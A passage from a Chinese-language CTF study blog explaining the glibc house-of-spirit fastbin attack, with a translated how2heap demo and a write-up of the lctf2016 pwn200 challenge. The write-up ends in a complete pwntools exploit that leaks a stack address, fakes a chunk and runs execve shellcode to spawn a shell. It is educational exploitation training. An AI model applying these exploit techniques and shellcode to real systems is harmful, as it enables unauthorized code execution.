前言

  • 学习了UAFdouble_freeunlinkoff-by-one,之后基本上对堆稍微有点了解。

  • 个人感觉,堆漏洞的成因就是UAF堆溢出,而栈的漏洞的成因基本上就是栈溢出,其他的就是格式化字符串漏洞,漏洞的成因感觉就是这几种。但是利用方式很多,所以学来学去都是在学被人挖掘出来的利用方法。在学这些利用方法的时候会不由感慨,那些开创漏洞利用的人脑洞真大。所以怎么感觉pwn到最后变misc那些脑洞题了…

  • 初步了解了一些漏洞成因和漏洞利用后,就可以开始学习house of 系列的利用方法了。目前打算主线直接学习house of系列,按照Glibc堆利用之house of系列总结 - roderick - record and learn!这篇文章的顺序学习,学到哪些利用,之前没涉及到的再分出支线去学习。

  • 堆的漏洞利用可以进行以下三种分类:这些分类相互有交集,并不互相独立,目前我做的是使用house of系列进行堆利用的分类,等house of系列学习完之后,有时间再进行其他的分类

house-of-spirit介绍

  • house-of-spirit是堆利用house-of系列的一种方法。这种方法目前只了解到是针对fast_bin的attack和tcache_bin的攻击,所以这个利用方法将被分成两个部分,第一个部分是介绍glibc2.26之前的还没有引入tcache_bin的攻击。第二部分是介绍glibc2.26之后引入了tcache_bin后针对tcache_bin的攻击
  • 在学习house-of-spirit之前首先要对Linux下的堆管理器即ptmalloc2有一定的了解,还要知道UAF漏洞、double_free漏洞以及off-by的两种漏洞,能简单利用UAFdouble、这个两个漏洞对fast_bin进行攻击和利用。这样就可以进一步学习house-of-spirit
  • 对于house-of-spirit这个漏洞,与对堆管理器中unlink的攻击关系其实不大。可以根据自己的节奏去选择学习顺序。
  • 本次介绍的是对glibc2.26之前的版本还没引入tcache_bin,针对的是fast_bin的攻击。

利用方式

  • 先来比较直观和简单地介绍一下house-of-spirit的利用方式。这个利用方式是double_freeUAF漏洞的进一步利用。
  • 首先house-of-spirit的堆利用方式,是一种用于获得某块内存区域控制权的技术(即你可以实现对该块内存任意写入数据)。
  • house-of-spirit是通过伪造一个堆块fake_chunk,并且有一个指针ptr指向该fake_chunk,加上我们可以使用free()函数,将指向这个fake_chunkptr指针给free掉,这时该fake_chunk的就会被放入fast_bin对应大小堆块的链表头部。当我们再次使用malloc函数使用一个堆块,这时fake_chunk就会被申请出来,被用户使用,这样我们就可以对该fake_chunk进行写入或者修改数据。
  • 接下来通过图片来直观感受一下house-of-spirit的这个利用方式。
  • 如图fast_bin链表这边有两个空闲的真chunk,并且都放在了fast_bin中。

image-20250114010748417

  • 这时我们在某个内存空间中(可能是.bss段、栈上或者其他内存空间)伪造了一个chunk,称为fake_chunk,并且有一个指针ptr指向该fake_chunk

image-20250114011025340

  • 恰好这个程序中的free函数能释放ptr这个指针。所以当我们释放ptr这个指针后,就会将这个fake_chunk放入fast_bin这个链表中(该链表采用头插法)

image-20250114011236308

  • 当我们再次使用malooc函数申请适当大小的内存,就可以将这个fake_chunk申请给用户写入数据。

image-20250114011712820

  • 以上就是house_of_spirit的利用过程,现在来总结一下house_of_spirit的利用方式,以及house_of_spiritfast bin double free的区别
    • houser_of_spirit是通过伪造一个堆块fake_chunk(该堆块并不是通过malloc申请回来的),利用free的机制将该fake_chunk放入fast_bin链表之中,再次通过malloc将该fake_chunk申请,从而实现任意内存读写
    • double freee是将本来通过malloc申请的堆块chunk1(该堆块是合法的),通过两次释放chunk1,将同一个堆块即chunk1放入两次到fast_bin中,这样我们第一次申请chunk1,就可以修改chunk1中的fd指针,使其指向任意内存地址,当我们再次申请chunk1时,这个任意内存就会被放入我们的fast_bin链表之中,再次使用malloc申请,我们就可以申请到任意内存并对该内存进行读写。
    • 区别:house_of_spirit是构造fake_chunk想办法放入bin中链表,通过再次申请达到任意地址读写。而double是通过合法chunk的两次释放和两次申请,从而在第三次申请chunk时能申请到任意地址,对任意地址读写

伪造条件

  • 由于free的时候会对堆块进行检查,即验证堆块的合法性,所以我们在伪造堆块的时候就要满足一定的条件,这样才能绕过检查,继续进行house_of_spirit的利用。

  • 接下来说明一下伪造需要满足的条件:fake_chunk标志位、fake_chunk的内存地址对齐、fake_chunk的size大小、fake_chunknext_chunk的大小、fake_chunk的连续释放(即double_free的错误)

  • ptmalloc所申请的堆块,数据结构如下:

image-20250114041940424

fake_chunk的标志位

  • 在伪造一个fake_chunk的时候,由于堆块结构中的size部分的最低三位是标志位,所以这些标志位要满足一下条件:
    • P标志位设置为1:该标志位表示的是该堆块物理地址上相邻的前一个堆块是否处于空闲状态,1表示处于使用状态。当标志位设置为0的时候就会在free的时候会触发unlink机制,导致合并一个不存在的地址空间,会引发程序的崩溃。有些题目好像不满足也可以,对P标志位要求没那么严格
    • M标志位设置为0M标志位表示的是IS_MAPPED,记录当前chunk是否由mmap分配。当这个位置的标记设置为1,就表示这个堆块内存时调用mmap分配的,在处理这个chunk的时候就会单独处理。
    • N标志位设置为0:一般攻击的都是主线程下的堆(目前还没有打过多线程的堆题),所以该标志位应该被设置为0

fake_chunk的内存对齐

  • 堆内存在申请的时候都是8字节对齐或者16字节对齐的,也就是说fake_chunkprev_size的最低位地址、P标志位对应的地址应该为0xXXXXXXX0。也就是需要16字节对齐。(32位程序下是0xXXXXXXX8,也就是8字节对齐)
  • free的时候会对内存是否对齐进行检查,如果检查到所free的堆块内存没有对齐就会出现报错,或者是程序无法运行下去。

fake_chunk的size大小

  • fake_chunk是要放入fast_bin中的,所以我们的size大小就要满足挂入fast_bin链表的要求,即size的大小要小于0x80字节
  • 如果要放入tcache_bin中就要满足放入tcache_bin中的size大小
  • 还需要注意一点就是size的值也必须是16字节对齐,即满足0x10的整数倍(32位程序要满足0x8字节对齐)

fake_chunk的next_chunk的大小

  • 所谓fake_chunknext_chunk指的就是与fake_chunk物理地址上相邻的且地址高于fake_chunk的一段内存空间(因为是伪造的堆块,所以该段内存空间其实不是堆块)
  • 当我们释放fake_chunk的时候,会有一个检查机制,ptmalloc2会通过,如下计算确定next_chunk的地址,并对其size进行检查
1
next_chunk_address = fake_chunk_address + fake_chunk->size
  • 所以next_chunksize大小应该为满足以下两个条件:
    • size要满足0x10字节对齐,即必须为16字节的整数倍(32位系统则是0x8字节对齐)
    • size还要满足小于128kb
  • 这样设置的目的就是在chunk连续释放的时候,能够保证伪造的fake_chunk在释放后能够挂在fast_bin中的main_arena的前面。这样我们再次使用malloc申请适当大小的堆块时,就会直接申请到fake_chunk

fake_chunk的连续释放

  • double_free中如果直接连续free相同的堆块,程序就会因为检测到double_free而无法运行,所以我们在进行double_free利用的时候就释放一次目标堆块后,要释放另一个堆块,之后才能再次释放目标堆块。这就是需要我们绕过double_free的检查机制
  • 所以fake_chunk在释放完一次后,不能马上再进行释放,这样就会导致double_free检查不通过,导致程序无法运行。

总结:所以我们要构造的fake_chunk要满足如下条件

image-20250114050015128

image-20250114050204075

实验

  • 本实验的代码时在how2heapglibc2.23版本的house-of-spirit,并通过阅读程序,模拟出攻击流程
  • 我将其源码进行汉化,源码如下:
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "这个程序展现了house of spirit 攻击.\n");

fprintf(stderr, "调用malloc()函数一次,以便程序能初始化内存.\n");
malloc(1);

fprintf(stderr, "现在我们将重写一个指针,使它指向一个假的fastbin区域.\n");
unsigned long long *a;
// 这个和fastbinsY没什么关系 (不要被10所迷惑) - fake_chunks 仅仅是一个被分配的内存(pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "这个区域 (内存的长度为: %lu) 包含了两个chunk.第一个的起始地址为: %p 第二个的起始地址为: %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "这个位置堆块的chunk.size需要大于16字节(存储堆块基本数据),同时要满足落在fastbin中(在64位中要小于128字节). 在释放fastbin大小的堆块时,PREV_INUSE(P标志位)会被忽视,然而IS_MMAPPED(M标志位)和NON_MAIN_ARENA(N标志位) 会造成问题.\n");
fprintf(stderr, "... 注意申请堆块的时候要求,堆块大小必须四舍五入以满足malloc使用的要求. 例如: 在64位中, 0x30-0x38 将被四舍五入到0x40, 以便于他们能以malloc的参数工作到结束\n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "fake_chunk的物理地址相邻且高的chunk其size位也是一样,size > 2*SIZE_SZ (>16字节,在64位系统中) && size < av->system_mem (< 128kb 在默认的main arena中). 这是因为要通过堆块的完整性检测. 并不需要满足fastbin要求的堆块大小.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "现在我们指针的值修改为假的fastbin中第一个假chunk的地址, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... 注意相关的内存区域必须是16字节对齐.\n");
a = &fake_chunks[2];

fprintf(stderr, "释放重新写的指针.\n");
free(a);

fprintf(stderr, "现在下一个malloc分配将返回到伪造的堆块区域中。预期地址为: %p 实际地址为: %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
  • 该程序先调用了malloc(1)开辟了一个堆块内存,初始化了一下堆块内存。如果没有malloc(1)在gdb动态调试的时候就会出现堆块没有初始化的提示。

image-20250114111528790

  • 使用malloc后在栈上创建了一个多的数据,进行堆块的伪造。

image-20250114111640975

  • 然后根据输出提示,设置了伪造堆块的相关数据。

image-20250114112114865

  • 使用gdb进行动态调试后就会看到栈上的数据是这样分布的,并且现在fast_bin是空的

image-20250114112407234

  • 之后我们通过free(a)free(&fake_chuns[1]),就把伪造的堆块放入到了fastbin链中。这样就完成了house of spirit的利用。

image-20250114112557302

题目

house_of_spirit_level_1

  • 题目来源:lctf2016_pwn200,在buuctf上有相应的环境,附件也可以从那边下载。这边我使用patch的方法,使得我在wsl的环境下使用glibc2.23进行动态调试,这样就可以避免glibc版本过高的原因从而导致出现tcache_bin的问题

level_1分析1

  • 现在先使用IDA对该程序进行静态分析,在静态分析的时候运行程序,这样能更好的理清楚程序的运行逻辑。先check一下该程序的保护机制。发现保护机制开的很少。

image-20250114165252172

  • 然后使用IDA对该程序进行逆向分析。先来先查看main函数,这里的main函数比较简单先是对输入输出进行初始化,然后再调用一个func函数。

image-20250114165353158

  • 之后查看func函数,结合程序运行的结果看,这个函数会先输出提示who are u,然后逐个字节的读取用户的输入,知道遇到换行符。还会将用户输入打印出来,并且提示输入id,之后就是调用两个目前还不知道什么功能的函数。

image-20250114165639817

  • 之后将sub_4007DF这个函数重新命名为func2,将sub_400A29这个函数重新命名为func3,再进入func2进行查看函数的具体操作。
    • 该函数先是逐个字节读取用户的输入,一共读取4个字节或者遇到换行符结束读取。
    • 在读取的时候还会对读入id进行检查,检查该id,如果输入的id不在十进制的数字里面,那么就不会执行接下去的代码。
    • 之后还会使用atoi函数,该函数将我们输入的id原本是字符的形式,将其转换为整型的形式,并返回给v2,还会将该值作为返回值返回。

image-20250114170226830

  • 之后再来查看func3的函数,执行的具体功能。该函数实现以下功能:
    • 开辟一个0x40大小的堆内存,将malloc返回的地址给dest变量
    • 输入提示字符串give me money~,提示我们输入0x40字节大小的数据,这里并不存在栈溢出
    • 之后我们会把输入的数据原来存储在buf中,现在复制到dest这边,即复制到malloc开辟的堆内存这边。
    • 最后将dest的值(即堆块的地址)赋值给ptr这个指针,注意ptr这个指针是存储在.bss段上的全局变量这个可能有用
    • 之后会调用sub_4009C4这个函数,将该函数命名为func4

image-20250114170932308

image-20250114171239853

  • 接下来查看func4函数里面的运行过程,发现该函数就是一个经典菜单的形式。
    • 先会调用func2这个功能,实现用户对选项的选择。
    • 输入1的时候就调用check_in这个函数
    • 输入2的时候就调用check_out这个函数
    • 输入3就退出该程序

image-20250114174910363

  • 接下来先查看check_out这个函数,该函数实现的功能是释放掉全局变量指针ptr所指向的内存地址,并将该ptr指针置零,从而避免UAF的漏洞利用。

image-20250114175227745

  • 接下来查看check_in函数
    • 该函数会先检查ptr是已经指向一个指针,如果已经指向一个指针,那么程序就不会执行后续的语句
    • 通过func2读取数字,并判断读取的数字是否在0-128范围内
    • 之后使用malloc函数申请一个前面所读取数字大小的堆块。
    • 最后可以向所申请的堆块写入数据。

image-20250114175415553

level_1分析2

  • 现在对该程序进行动态调试,查看该程序是否有溢出点或者其他的漏洞。
  • 对于func函数这边,存在一个off-by-one的利用,可以通过将v2这个数组填满48个字节,然后就可以避免换行符,这样这边就没有\x00对进行截断,这时printf就会将rbp所指向的栈地址的存储的数据泄露出来,从而知道了栈的地址。

image-20250114182541113

image-20250114182752677

  • 接下来看func3这个函数,这个函数在会使用read函数在栈上写入0x40个数据,但是buf只有56字节(即0x38)的栈上存储空间,这时最后的0x8字节就会把dest这个指针给覆盖掉。
    • 所以func3存在一个溢出,可以修改dest的值,并且之后会把dest赋值给ptr这个全局变量的指针。
    • 在分析1中可以知道free()函数free的是ptr指针所指向的地址。

image-20250114183738698

image-20250114184240179

level_1分析3

  • 这个时候我们即泄露了栈地址,又能通过溢出修改dest这个指针,从而间接修改ptr指针。现在思路就比较明显,既然可以泄露栈地址,那么就可以利用栈伪造一个fake_chunk。通过house-of-spirit这个对利用技术,将栈上的堆放入到fast_bin中,在申请回来这样就可以对比较大块的栈地址进行写入。一般就可以修改返回地址。接下来要查看一下如何伪造这个堆块。栈上有什么数据可以提供我们伪造堆块。
  • 对于func()函数这个输入点进行分析,发现并不能使用func()函数这个输入点进行堆块的伪造,这是因为在堆块的伪造过程中必然会出现\x00这个截断操作。这就导致我们在使用printf函数进行格式化输出的时候栈上的地址泄露不出来。

image-20250114220704878

  • 对于func2可写入栈上的数据有限,也没办法完成对堆块的伪造,所以先来分析一下func3是否能在修改指针的时候对堆块进行伪造,发现这是可以行的,这时我们在栈上进行堆块的伪造,并不会影响我们ptr指针的修改

image-20250114221209554

image-20250114221408995

  • 所以我们选择该此处对堆块的伪造,然后我们再来分析一下栈上高地址处是否可以有0x10整数倍的,并且小于128kb大小的,还要满足prev_size的最低位为0xXXXX0这样我们就可以伪造出fake_chunk并且成功的把堆块给链到fastbin上。
    • 查看栈后发现这个地方明显是可以被控制的,而控制这个栈数据的也就只能是func或者func2的执行过程。
    • 我们发现这个数据是存储在func函数输入的更低地址,所以应该是在func这个函数控制的。

image-20250114221702499

  • 我们查看func的变量时,发现逐字节输入,控制循环的变量i最终的结果为0x30(存储位置是位于更低地址的栈那边),但是这个0x30我们希望用来伪造size,可是这个栈地址是0xXXXXX0开始的,这并不能满足堆块内存对齐的问题

image-20250114222006046

  • 这时还有一个0x30是怎么来的,对于反编译的代码是没有体现出来的。我们需要去看func的汇编代码,这时我们发现调用完func2后,存储返回值的寄存器rax会有一个操作,也就是将func2的返回值复制到栈上。
  • func2返回的也就是我们输入数字对应的整数。所以我们要伪造该堆块,在func调用func2时,就要像这边输入48即0x30(或者其他符合要求的数据。)

image-20250114222208178

image-20250114222419703

  • 这样我们就满足了伪造堆块的条件,现在我们要通过栈地址计算我们所申请堆块的size大小,和我们要伪造堆块的size

image-20250114223004747

  • 还有我们要修改的指针是指向0x7ffcddf7d710,但是我们泄露的指针是泄露到更高地址。所以我们还要计算偏移,所以我们最后会将指针修改为leak_addr-0x110+0x60

image-20250114223326367

  • 通过伪造堆块我们就可以释放该堆块,将该堆块放到fast_bin链上,这时编写部分exp进行动态调试查看fake_chunk是否被添加到fast_bin链表上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64',log_level='debug')
p = process("./pwn200")
#p = remote(b'node5.buuoj.cn',25055)
gdb.attach(p,"b *0x400996")
payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa'
pause()
p.sendafter(b'who are u?\n',payload)
p.recvuntil(b'faaaaaaa')
stack_addr = p.recvline()
print(stack_addr)
stack_addr=stack_addr[:6]
print('stack_addr------->',stack_addr)
stack_addr=int.from_bytes(stack_addr,'little')
ptr = stack_addr-0xf0+0x40
payload1 = b'48'
p.sendlineafter(b'give me your id ~~?\n',payload1)
# payload2构造fake_chunk
payload2 = p64(0x0)+p64(0x61)+b'a'*0x28+p64(ptr)
#payload2 = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaa'#aaaahaaaaaaa'
p.sendafter(b'give me money~\n',payload2)
payload3 = b'2'
p.sendlineafter(b'your choice :',payload3)
  • 这时我们就发现我们伪造的fake_chunk被加到了fastbin

image-20250114223958254

  • 这时我们再使用malloc申请回来,我们就可以对该栈进行写,并且还可以修改返回地址。之前在查看保护机制时,有注意到栈是具有可执行权限的,所以我们就向我们申请的堆块写入shellcode,并修改返回地址到栈上我们写入shellcode的开头。这样就可以getshell

image-20250114224708763

level_1_exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch='amd64',log_level='debug')
p = process("./pwn200")
#p = remote(b'node5.buuoj.cn',25055)
gdb.attach(p,"b *0x400B1F\n b *0x400824\nb *0x400A5F\n b *0x40092C")
payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa'
pause()
p.sendafter(b'who are u?\n',payload)
p.recvuntil(b'faaaaaaa')
stack_addr = p.recvline()
print(stack_addr)
stack_addr=stack_addr[:6]
print('stack_addr------->',stack_addr)
stack_addr=int.from_bytes(stack_addr,'little')
ptr = stack_addr-0xf0+0x40
payload1 = b'48'
p.sendlineafter(b'give me your id ~~?\n',payload1)
# payload2构造fake_chunk
payload2 = p64(0x0)+p64(0x61)+b'a'*0x28+p64(ptr)
#payload2 = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaa'#aaaahaaaaaaa'
p.sendafter(b'give me money~\n',payload2)
payload3 = b'2'
p.sendlineafter(b'your choice :',payload3)
payload4 = b'1'
p.sendlineafter(b'your choice :',payload4)
payload5 = b'80'
p.sendlineafter(b'how long?\n',payload5)
a = asm("""
mov rbx,0x0068732f6e69622f
push rbx
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall
""")
sh = a
print("-------->",len(sh))
payload6 = sh +b'a'*3 + b'a'*0x18 + p64(ptr)
p.sendlineafter(b'give me more money :',payload6)
payload = b'3'
p.sendlineafter(b'your choice :',payload)
p.interactive()

house_of_spirit_level_2